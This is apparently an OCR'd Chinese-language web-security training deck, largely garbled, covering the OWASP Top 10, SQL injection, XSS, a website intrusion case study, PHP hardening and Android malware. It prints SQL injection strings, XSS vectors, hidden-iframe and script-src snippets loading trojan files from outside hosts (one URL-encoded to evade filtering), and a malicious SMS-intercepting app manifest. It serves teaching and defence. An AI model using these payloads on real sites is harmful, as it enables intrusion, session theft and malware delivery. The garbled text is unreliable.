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o« OWASP#IL : http://www.owasp.org

« OWASP Testing Guide v3
e IR AR MELE

o http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf

o B P IR FEIEE

e http://www.owasp.org/images/0/06/ OWASPllif{igra(F3Z ) .pdf




T10 OWASP Top 10 Application
Security Risks — 2010

sInjection flaws, such as 501, 05, and LDAP injection, occur when untrusted data is sent to an
Al — Injection mwpmrispﬂlufamrwularm The attacker's hnstiledam mntl'ﬂm:enwerpremr

AZ — Cross-Site .gmmmmwmmm“wmwmnma@w
Scripting [X55) mmmdmmmmmmmmmnmms
pting browser which can hijack user sessions, deface web sites, or redirect the user to maficious sitas.

A3 — Broken R
enticati = Application functions related to authentication and session management are often not
Aath 5 .tm"and implemented comrectly, aﬂmmmmpﬂm keys, session tokens, or
E5EI0N exploit other implementation flaws to assume other users’ identities
Management

A{I—Inseclure =A direct object reference ocrurs when a developer exposes a reference to an intemnal
Direct Object implementation object, such as a file, ﬁ'ecl‘nrf or databaze key. Without an access control check
References or other protection, amdoe:smm'mu these references to access unauthorized data.

= A CSRF attack forces a logged-on victim's browser to send a forged HTTF request, including the
wictim's session muheandany other automatically included authentication information, to 2
mbmwmmﬁdmm attacker to force the victim's browser to generate
requests the vulnerable application thinks are legitimate requests from the victim.

mmmmﬂgammmﬂManﬁWﬁrﬂmwﬁmﬁéﬂ
frameworks, application server, web server, database server, and platform. All these settings
:Imuhibedeﬁnxl,mpiummed- and maintained as many 2re not shipped with secure defauits.
This includes keeping all seftware up to date, incduding all code libraries used by the application.

A7 — Insecure *Many web applications do not properly protect sensitive data, such as credit cards, 35Ms, and
Cryptographic authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify
Storage such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

AR - Failure to mmﬂmmmmmmmmlmﬂm,
Restrict URL A However, applications need to perform similar accass control checks each time these pages are
3 sl accessed, or attackers will be able to forge URLS to access these hidden pages anyway.

GBS o s nolications frequently f2il to authenticate, encrypt, and protect the confidentiality and integrity
Transport Layer of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired
Protection or invalid certificates, or do not use them comecthy.

Alﬂ—!..lrwalil:lated =Web applications frequently redirect and forward users to other pages and websites, and use
Redirects and untrusted data to determine the destination pages. Without proper validation, attackers can
Forwards redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
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Consider anyone
who can send
untrusted data to
the system,
including external
users, internal
users, and
administrators.

Attacker sends
simple text-based

attacks that exploit

the syntax of the
targeted

interpreter. Almost

any source of data
can be an injection
vector, including
internal sources.

Injection

Security
Weakness

Detectability
AVERAGE

Prevalence
COMMON

Injection flaws occur when an application
sends untrusted data to an interpreter.
Injection flaws are very prevalent,
particularly in legacy code, often found in
SQL queries, LDAP queries, XPath queries,
OS commands, program arguments, etc.
Injection flaws are easy to discover when
examining code, but more difficult via
testing. Scanners and fuzzers can help
attackers find them.

Technical
Impacts

Injection can result

in data loss or
corruption, lack of
accountability, or
denial of access.
Injection can
sometimes lead to
complete host
takeover.

Business
Impacts

Consider the
business value of
the affected data
and the platform
running the
interpreter. All data
could be stolen,
modified, or
deleted. Could you
reputation be
harmed?
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SQL Injection &I

o 5| BN RA BB ERZE IR ETENEESEaspelphpiz
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SQLIRAZFE A TR

Oilf

FEHIR /\fPEEf%E’Jasp_Jthpfrz_U: Al AR
(&R UAFZZIRFEBMFEASIEEFH -
s TEAHRBEIVERETHIIRIL
R BHES| T ES|FR T, ETERE -
- SQLIEHand « orfV&EE S BEE -
- SQLEE ) ARwWhereF OB ANEZ S BHE
- SQLFEBAT- - BRTRZTT bZéE’JnmiT/ﬁ%ﬂ“ (5T i

o )
o ‘or'="or’ a'or'l=1- - 'orl=1- -
o "orl=1- - orl=1- - '‘'ora'='a

7 __\ 7 __\

- Yor”"="a’'="a Nor(*a'='a



I\‘HEILJE\ _$£_bn|:|/£ Eﬁ:ﬂ H&

« sgl_cmd = "select * from mydatabase where id=" &
Request("id") & "' and passwd="" & Request("passwd") & "™

1EA/I_:\/I_;\ AE /i'fé

e sql_cmd = "select * from mydatabase where id="" 'or 1=1 --
""and passwd="" & Request("passwd") & "™

o Al RIEMNWherelZEAR1=1MEEN
passwordBlI[&A- -ZastEE - PTLIRA RGOl
/\ o




ZHE/L,E\ _$£_bn|:|§£ 1 J__EH&

o DIIZTVARATRUER AR E - Hﬁ%“ﬂkén@' B EHET
/\ SQL 5% - =—UEImAVIREE - ZHURHEER
L ERISASIEE - WIRTERIREE 22 - e
EEHQ %““z’ﬂfﬂfé T ES[RETRR - A4
é S SQL & - Bild

° sql_cmd = "select * from mydatabase where id=" &
Request("id") & "' and passwd="" & Request("passwd") & """

o fERZ LA
« myid = Replace(Request("id"),"","'+chr(34)+"")
« mypwd = Replace(Request("passwd"),""," +chr(34)+'")

 sql_cmd = "select * from mydatabase where id="" & myid & "
and passwd="" & mypwd & "™



SQL Injection HHEES=Z 41t
» SQL Injection (BREM)- B2E/ SQLIEZEHHE,

o http://www.microsoft.com/taiwan/sqgl/SQL Injection
G1l.htm

o http://www.microsoft.com/taiwan/sql/SQL Injection
G2.htm

o ERIEAESQL Injection WX FEELRHE 238

http //Www.microsoft.com/taiwan/sql/SQL Injection.h

° ASCIIE%%]L,HEE

o http://www.lookuptables.com
e SQL Injection &l TE(#EARE )

o http://www.databasesecurity.com/sqglinjection-
tools.htm




Cross-Site Scripting (XSS)

—
Attack Security Technical
Vectors Weakness Impacts

Business
Impacts

Exploitability Impact
AVERAGE MODERATE
Consider anyone Attacker sends text- XSS is the most prevalent web application Attackers can Consider the
who can send based attack scripts security flaw. XSS flaws occur when an execute scriptsina  business value of
untrusted data to that exploit the application includes user supplied datain  victim’s browser to  the affected system
the system, interpreter in the a page sent to the browser without hijack user sessions, and all the data it
including external browser. Almost properly validating or escaping that deface web sites, processes.
users, internal any source of data  content. There are three known types of  insert hostile .
users, and can be an attack XSS flaws: 1) Stored, 2) Reflected, and 3) content, redirect Alsq cons_lder the
administrators. vector, including DOM based XSS. users, hijack the bu5|r_1ess impact of
internal sources . L. user’s browser public €xposure of
e e e e D_etectlpn of most XSS fla'_ws is fairly easy using malware, etc. the vulnerability.
T via testing or code analysis.




XSS F|

» Cross Site Scripting(XSS)E 4L THEE

e XSSEANRARZARAFBRRENRTHIEESIER
5 - SIRN—EEELBFRMERE  BEEEEHREFR
A ERZETEWeb Sever#H 17 - ENEIVMIE
s B Z O PIE D JJ:I:CFT}DJJ%ULE/JSCI’Iptnm/
HERNEFERIRNITAI) - FoJZEU : F5EY
cookie - EAHBNREZFRAAZFTEN "INEE, -




XSSRIER I A2 28 18 e

=Y il

<script>alert(“xss”)</script>

YNSR <script># 3% - Bt

<img src=javascript:alert(“xss”)>
NSRjavascript: @8 - RIFH16EMUERN —LEARTF
<img src="javascrip&# 116&#58alert(/xss/)">
o] FHZEHZ T ~ Tabiail

<img src="javas cript:alert(/xss/)” width=0>
SBRBRENSHEBM R ERRRFT R EE

<img src="#" onerror=alert(/xss/)>

<img src="#" style="xss:expression(alert(*xss”)); ">

o fAIU0 : Yahoo MailBIXSSFEA(EMELE)

e <STYLE onload="alert('cookies exploit!’);alert(document.cookie)”>



AL~ A B ENEREA

o EZRHE
o <iframe src=KE4HE width=0 height=0></iframe>

o JScript XH#E BB TIEBEFERS xxx.js RERBIEXHNERELN LBRBEZE
o document.write("<iframe width="'0"' height='0"' src="KE#i'> </iframe>");

o Ex&)Script BENEER

e <script language=javascript src=xxx.js></script>

. <SCRIPT Ianguage=“JScript.Encode”

src=http://www.xxx.com/muma.txt></script>
muma.txt o] g T 18 &

e body #55 :
o <body onload="window.location=""RKE#it";"></body>

o RIS :
e top.document.body.innerHTML = top.document.body.innerHTML + "\r\n<iframe
src="http://www.xxx.com/muma.htm/"> </iframe>";



CSS $#EI5 : TR RIFHMN muma.js TAESEAN LEZEERE -

body {
background-image: url('javascript:document.write("<script
src=http://www.XXX.net/muma.js></script>")")}

JAVA #8155 :

<SCRIPT Iangue;ge=ﬂ']avascript>
window.open ("/RE4ILUL","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro
lIbars=no,width=1,height=1");

</script>

B R 1B

<htmlI>

<iframe src="#FHAU" height=0 width=0> </iframe>
<img src="[& R 4" >

</html>

RN

<frameset rows="444,0" cols="*">

<frame src="BRHA=" framborder="no" scrolling="auto" noresize
marginwidth="0"margingheight="0">

<frame src="MHAFHAHU" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

MR EAE R F A

<a href="http://www.XYZ.com (K%M A #B:EAE AU - R R RS AU AIER AR S AL )"
onMouseOver="www_163_com(); return true;"> HEEBTHAR </a>

<SCRIPT Language="]avaScript">

function www_XYZ_com ()

{ X

var url="BEIFERAEREHUL",
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,r
esizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");

}
</SCRIPT>



XSSHHEE S Z 4810

e Cross Site Scripting questions and answers
http://www.cgisecurity.com/articles/xss-faqg.shtml

e Apache Cross Site Scripting Info
http://httpd.apache.org/info/css-security/

e How to prevent cross-site scripting security issues
http://support.microsoft.com/kb/g252985/

e Information on Cross-Site Scripting Security Vulnerability
http://www.microsoft.com/technet/archive/security/news/c
rssite.mspx?mfr=true

e Microsoft Anti-Cross Site Scripting Library V1.0
http://www.microsoft.com/downloads/details.aspx?familyid
=9A2B9C92-7AD9-496C-9A89-
AFOSDE2ES5982&displaylang=en




Consider
anonymous
external attackers,
as well as users with
their own accounts,
who may attempt
to steal accounts
from others. Also
consider insiders
wanting to disguise
their actions.

Exploitability
AVERAGE

Attacker uses leaks
or flaws in the
authentication or
session
management
functions (e.g.,
exposed accounts,
passwords, session
IDs) to impersonate
users.

Security
Weakness

Detectability
AVERAGE

Prevalence
COMMON

Developers frequently build custom
authentication and session management
schemes, but building these correctly is
hard. As a result, these custom schemes
frequently have flaws in areas such as
logout, password management, timeouts,
remember me, secret question, account
update, etc. Finding such flaws can
sometimes be difficult, as each
implementation is unique.

Broken Authentication and
Session Management

Technical
Impacts

Such flaws may
allow some or even
all accounts to be
attacked. Once
successful, the
attacker can do
anything the victim
could do. Privileged
accounts are

frequently targeted.

Business
Impacts

Consider the
business value of
the affected data or
application
functions.

Also consider the
business impact of
public exposure of
the vulnerability.
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Cookie HiER

o CookieroiF=E FHEBMNIRAID - 2215 7 EmHE -
MERZEAS HEIE - EEEBIEMDS AN - &
BRAHNZREEENHE - BlFEWHAER E—LRA

I ABE - ﬂl%*% 2%1’@%@5’]/\/3 L&

HEEENZEMEZE - 22Mm - fﬁEL%UE’JF‘cﬁ ’

&€ CookieFIAAREMBELEFENT '1111
MR ZE B A Cookiedfal kg5 iR 3 - I ﬁﬁzﬁl
AEEERE - M UERSREANSG D - B
uh - = AN Cookie R ER -

® _—/f

g E M A CookieNIRSREAZASENKEIR - BRI HEEBF A
1T TR FSRE—DE -




EE A JISERIERE  ARBE

o 1;:!:!: .
WP XYZE] FzralZE&PFPEANR
my EW{§$£HQ1E%_’: °

o BHEZ -
o :Z N EIFRXYZHUEIMIITEE R & Web
ServerF il BZRE2DvbbsimiE -




EE A JISERIERE  ARBE

e NZRIER ;
. BIE MS04-023 * MS06-014 + MS07-004 #J Exploits
VR AUARE -

e 7 JavaScript ##%% document.write(“<iframe src=
I Exploits 1481 width=0 height=0></iframe>");
/7(_#2% 123.js ZREENUEXploits -

|=I]|

o 1 123.js 1&E #£17T EBENINE RERHKHENEE

o x&1IFMS04-023 - MS06-014 - MS07-004 HY Exploits
ENRRIFER 123 .js BEMER 192.168.123.101
ZEERABIEAN Muma E’]Eﬁ“[ fmH -




EE A JISERIERE  ARBE

o NEHBEIE ; N N
o XA Sniffer 55 Dvbbs P EIEE AR ZRIEN
Cookie -

- FIF#Z Cookie Mf#7E 2 IRSEEAR S AT ENIS 2 1
B F1E3230 - i WebShell (windows.asp)_tf
Web ServerfVimiE BT -

R - BEcim

PAN
EEA=

=

ik

e I8 www.xyz.com.tw/dvbbs/windows.asp HTER
WebShell (windows.asp) 248 INEA -

« BHNZAAH ZRRDvbbs BRI WebShell ZiEXYZ
NEIRARIL R




EREA - ISERERSE  ARARE

o NEHIBIE :
o EHEFEA <script language=javascript
src="http://192.168.123.101/muma/123.js'></script>

o AR FI 123.js RIBKMRAISURLAI R IETE - iR ax AL 2E1T
URL#RAS ZREEHEH| - <script language=javascript
src="http://%31%39%32%2E%31%36%38%2E%31%
32%33%2E%31%30%31%2F%6D%75%6D%61/123.js
' > </script>

o AA WebShell (windows.asp)igzE 28 FE% - 8F XYZA T
AEHTMLREBREEEEWES -



EE A JISERIERE  ARBE

WNEL &S
« 2EAZEIE XYZ25E] (AL E - BEEEEHTML
N FEREA

o FKILMAZ

o URLARIGHV B GRE A >

o BEANAEIL T AV123.js > HEEAT

« ISNE R R INZMEXploits B Al >
B

« Exploits 2NN AREET, >EA




-mIEDBIRE ;| [RIE

o AccessERIENREFER :

o TEASP + Access/ERZ 4D - MRpEES T IEFIAccessE R} &
NEFECMNENERM - BIZERERM O LA NE R -
B0 EWRE EEZEENAccessERE - AfI—fRanE 5
book.mdb * store.mdb%Z - MEFFREAEE—HE
"URL/database”"si#&zZ e i ER B "URL/"Z N - &k - R
11 2 23 3t M AR ch g A 483
"URL/database/store.mdb” - g, o] LA S i store.mdb
NER AP -

o AccessERENMHEIEE
o FARAccessE RN ERNINZH#HIZER RS E )ﬁﬁuﬁﬂ@ ﬂf
2 BEBTIERS - HIELOR - Bk =R ER
g REERER M - E‘“*ﬂﬁt&ﬁEﬂﬁé\ﬁT 1 o




imIBDBREE | BEIRTS

o IFERIMAIE :
- LAEBEMAEA "book.mdb”Z “store.mdb” - MeEZE+E
BFEEHRVBZE - AlE0 : faql9jhsvzbal.mdb - BIEBM#E
40./akkjj16t/kjhgb661/acd/avcex55 7B AR EHEE | -

» FFHODBCERIKIR :

Eﬂﬂ%@BC*ﬂXﬁ AEEEREZEEERTEASPREIUE
H

- DBPath =
Server.MapPath(*./akkjji6t/kjhgb661/acd/avccx55/faqgl9jhsvzbal.mdb %)

- conn.Open “driver={Microsoft Access Driver ( * .mdb)};
- dbg=" & DBPath

it

o B :
- conn.open “ODBC - DSN# " MAZEEEHEIEE 1 -




o £ IIS IR TE :
- IFTNE Access ERIEMNER K (N ERBER)4AET " BA
BAZ4T ":BE , HEPRBI O] - 20— - I ERIE
FREMNERERZME - —5EE1E Web Mg -

- X HEE>ERREINRE>ERAZEILEES IS
- M 1788 . C:\WINNT\System32\inetsrv\ism.dll
- BlIfE€% : .mdb
- BR&IAS : GET,POST

o (IREL LR ZEMRIBAccessERE - REZ oA HER
Sl SHEITER © )
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g ER Iz FalE S iE
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o BRI
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o e (HENRIN)
o [HIEEARNKE
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AX |FE ﬂE%%

» SUS / WSUS « R=SIZEWHEE
O EX N pE o SEELISHH

o BRI

¢ %E_CE% 227 J

o 1R EAES TE S S A AEPR

o &vlﬁéxaﬁ'ﬁ&;ﬁﬁﬁﬁﬁlﬁﬁ

o BE X HEWebMHEATRE
(=]

e Web - DBRIERIEE

o BEAGSBEE KBRS

o LOGKSEHFDITEES

» WebEDBRYH 1 ERES
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PE 1= SR B

nx HE%%
o ZﬂEFﬁH*E_WjJ—)(HI ° = ﬁ««v—'- S
. 35EE S IORIP ggmigg:& ARHY

+ AZE8% 4 IDS/IDP
. BEERHE

o FhsiE(EARSMN
» [HIEEBBHRKRSE

o Proxy Server WEHRE

o ANEREIHEIRVR R ELERE
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fH1E SR

=% {7 AR %5

findous Update/ - SEGLABLNTADE

- BHRHRE '% EEIE LR

. BHREERERpEnge o HREERESIRNE
(BFREER2E %)

« WMBERIBLZE[HEIEE

o BABRAENHEE
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o« —TEiE EBRIEE?
o SSL / httpsilZ& %%
o Web2.0F8EX2ME : PhETE

o B2 ERRE
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PHP B #5E L2 B RIMEEIR

c BICHRZERRAH, Mz INAIRIRE ﬂ(ﬁ 13
ZALAER), %BEK?EE\E’J B R 2R E

o EZINBHUBNER(ERZZLNER)?

o GET: $_GET (Form submit/#483t %5 21)
e POST: $ POST

« REQUEST: $_ REQUEST

e COOKIE: $ COOKIE

e JSON/AIAX/E 1’EF§F§ AHNER/BIIER, EFE
~E A DB B9 Data .



PHP 2 E & (php.ini)

e register_global = off (Eﬂz'%%l)
e magic_quotes_gpc = off (' =>\', " =>\", %00 => \ 0) (=
magic_quotes_gpc = off EE)’EE@)

o display_error = off (EHRE LB RERAR)

» log_error = on (AFIEFRNE)

o allow_url_fopen = off (cIFRZEIRFER)

» expose_php = off (Ea/RPHP hRAZEE)

« open_basedir = (FFFEIBYE E%)

« safe_mode = on (ZEER)

o disable_function = (Z1-{EHRIKE])

» safe_mode_include_dir = (so&Fincludefy B &%)




SSL / https

e SSL
» SSL(Secure Sockets Layer)#RF AR - .
VEERRBENESEANTSEY TR FEERR

=X =
=kvi |_

{E

s

| > R B S R R S TR -

« HTTPS (Hypertext Transfer Protocol Secure)E

httpFISSL/TLSHIAAE - .
Al 2%

o MEEL

e http://zh.wikipedia.org/wiki/Https

SV E

B RIE#E RHttpsAYER AR :

DR R DN & B A AR S




SSL / https

o M T)EERR :

o https ARIEEI B a5t
AL 2 BV A FHSSLFR
ETRARERZE

o« TELZERT - WRER
(MR5R%/ %45 ) FE S E AU
ol BRI FEEL - A2
ImF N ZEEEEER

g — B 2R R

SERVER SERVER SERVER
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et RSB Rz e

o T ELEEBLNFREAEINZEZREBZEH
E'jﬂ EAHdFOIdEEEﬂﬁgFUE\ﬂZ LL_&ETSO%?‘X
BEE FZAWNApplEE RS RGERZED - BfFGoogle
&) R In PR EIR KB IRERAEBRBEIHNEEIET




o BN EFHEMEAE - RN ERNNR A BERS A
£ %zjjiz  ZEWE T EHREGEEE  ER
IR E BB EEApp - &— @R ol LLEEiPhone
I ~ ZBAndroidii g% - ERZ O RIS EE
ZER - FEEEFHEERNEEHGHIFAERRE - &

BZRRBEENBNEFESERARRK -




T Android=

EFREERE - BPERRZEK

il @ 11:58em

Do you want to install this
application?

€© show all

Install Cancel

SEER

[0

X0 ==L S S CERAES

IEMERBEANS T armB R FESDEC B+ /shangzhou/callrecord B P -

File Edit “iew Search Tools Documents Help

1k __|__'..:| | | I.Ii u

MNew Open Save Print... Jrh B | i

|| XM _All_setting.xml &3 ‘

1<?xml version='1.0' encoding='utf-8' st
2 <map>

3 <string name="Move"=10</string>

4 <string name="Service"=>j com</st
5 <int name="Port" value="2018" /=

6 <string name="EndTime">23:59</string>

7 <string name="Time"=>l</string=

8 <string name="BeginTime"=00:01l</string>
9 </map>

http://community.ca.com/blogs/securityadvisor/archive/2011/08/01/a-trojan-spying-on-your-

conversations.aspx
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Advanced App to SD

Advanced Barcode Scanner
Advanced Compass Leveler
Advanced Currency Converter
Advanced File Manager
Advanced Sound Manager

App Uninstaller
Basketball Shot Now
Best password safe
Bowling Time
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Chess

Color Blindness Test
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Music Box
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** USB connected

Eﬂ E‘E Select to copy files to/from your computer.
HE # USB debugging connected
5 IR TS R PR/ i S .
- BERAFZ AR RO/
Il ¥4 Android Market Security Tool
EE Successfully installed. 7:35 PM

Z R BEPERENEREL
Z %% Android Market Security
Tool




<receiver android:name="com.mms.bg.transaction.SmsReceiver”>

#2iBiR-2011-03-10: i E WHGoogleZ 2T HA §Fake10086(5l# <intent-filter>
<action android:name="com.android.mms. transaction. MESSAGE_SENT" />

ﬂl’ldl‘ﬂid.ﬂgs Bﬂ')*% <data android:scheme="content” />
</intent-filter>
<intent-filter>

X w1, Google fn T android Market Security ToolME{B LR, #ER " DroidDream”# S <action android:name="android.intent.action.SEND_MESSAGE" />
LHEHOEE . HTAFEHBHREETERT DoridDreamBREHEIRRA S b i

sireceiver>
DATIRISEAES LI 320955, B — EMERITRNERR I HERENHE i, BB Justin Krechives ndiicnani ol i DE S cton PrilicpedmeRacetier
CaseiRfiifgh, EHETERE (Aegislab)itsd, BNREDIH—2M51(= AmE)2Hs i i S e i
B"Fake10086" 218FEI09F . ME A T — 1B Google Code 5+ <action android:name="android.provider. Telephony.SMS_RECEIVED" />
http: //code. google.com/p/mmsha/ BIfETHEE. SEE 28 Lookout 89Tim WyattiE= REE#F = mibat-tlters
F{EoPI2EE T IS ERAE . </receiver>

<receiver android:name="com.mms.bg.ui. BootReceiver™>

<i -filter>
rmntjataftoobstapkt ool mabsare_anabmicwectoolgoog lofAn droid Manifest amil intent-filter

3 itk 31 Eopoaking- HTE.A § it i i <action android:name="android.intent.action.BOOT_COMPLETED" />
i ~EtiNity andraid: thame="gandroidistyls/Thess NoTLt1aBar Fullscresn® androidinanss’con ans by il Fakelamchertstivity=s </intent-filter>
<intent-filters
zaction androtdirese=*android. intent . sction.HAIN® /= < /receivar:

<catogery androidinase-"android.intsnt. category LAUNGER" />

«categery androidinass="android.intent.cateqory. EALT™ /= <receiver android:name="com.mms.bg.ui. AutoSMSRecevier”

< antent-Tilters <intent-filter>
factivily= ¥ .
<recelver android nases"con.ams. by trameaction Sasfeceiverts <action android:name="com.mms.bg.SMS" />

<intant-fittars

=action android:ness="cos, androad , mee, transaction MESSACE SENT™ /> </intent-filter>

=data androld:schess="centemt®™ /» </receiver>
=fintemt-f1liers A 5 i <
<intent-Tilter= <receiver android:name="com.mms.bg.ui.InternetStatusReceiver™>
<action androdd:nase="android. intent.action. SEMND MESSACE" /- % g
Hrtint: tiltars <intent-filter>
</recelver» : =4, _m. : n
craceiver android:nawe="con, ses.bg. trarsaction FrivilegedSasReceiver” androdid: persission="android. pergission. BROADCAST SHS <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
cintent-filter androtdiprioritys"1000"> </intent-filter>
<action androidinsses“android, provider Telepheny, S5 RECEIVED® /> _
</1ntent-filters </receivers
</reteivers
sTegniver andraid:nase="con sas by ol BontReceiver s = IR : = =
«antent-filters <¥ml version="1.0" encoding="UTF-8" ?»
<a 1100 Bndreddinass="androzd irtent sction.BOOT_COMPLETED™ /» <body>
4"::1!::::14: liers <auto_run>1</auto_run>
srecoiver android name="con, mms, by vl dutoSSRecevierts <auto_link_time>24</auto_link_time>
q“‘:;:;:;:‘t:;;mld_m“ |, <version>1.0.1</version>
</ntent-falters e <channel>
< rEElvErs = <channel_name>vedio</channel_name>
s A N AT R S AN IR <vedio_url>http://211.126.165.53/wl/rmis/ppéé.jsp</vedio_url>
<action android:nane="andraid, pet, conn. CONMECTIVITY CHANGE® /s <channel_sms>2</channel_sms>
=intent-filters <intercept_key>
............ Koy 18 h<ikeys
: <key>EEF</key>
RS IR IR R oo
<key>27m</key>
Psa: Infected "Android Market Security Tool March 2011 App Floating Arcund - by AN ey ) ‘
i i : : i f ! A <intercept_time>2000</intercept_time>
AndroidPolice: http:/ /www.androidpolice.com/2011/03/09/ psa-infected-android-market <limit_nums_day>4</limit_nums_day>
-security-tool-march-2011-apk-floating-around/ sl s ion i ik B R,
’ </channel>
</body>
- N i = el = = el = 5 ="t
—“1ﬁglprﬁ? . . . . . .
=N /71N . http://blog.aegislab.com/index.php?op=ViewArticle&articleld=87&blogld=2
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FH#RhEE : iphone : iTunes & QuickTime

o iTunes / QuickTime EHT -
e http://www.apple.com/tw/itunes/

o Apple ZE MM EH
« http://support.apple.com/kb/HT1222?viewlocale=zh_TW@&locale=zh_TW
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o iBRM : AT

e E-Mail : shooujen@gmail.com

o HEEAS

o AIEIFLEL  http://anti-hacker.blogspot.com

o Plurk¥R : http://www.plurk.com/openblue
e FaceBook : http://www.facebook.com/openblue

o MN#AE http://www.facebook.com/NetWarGame

o WM EEIEE  http://zh-tw,justin.tv/openblueTV



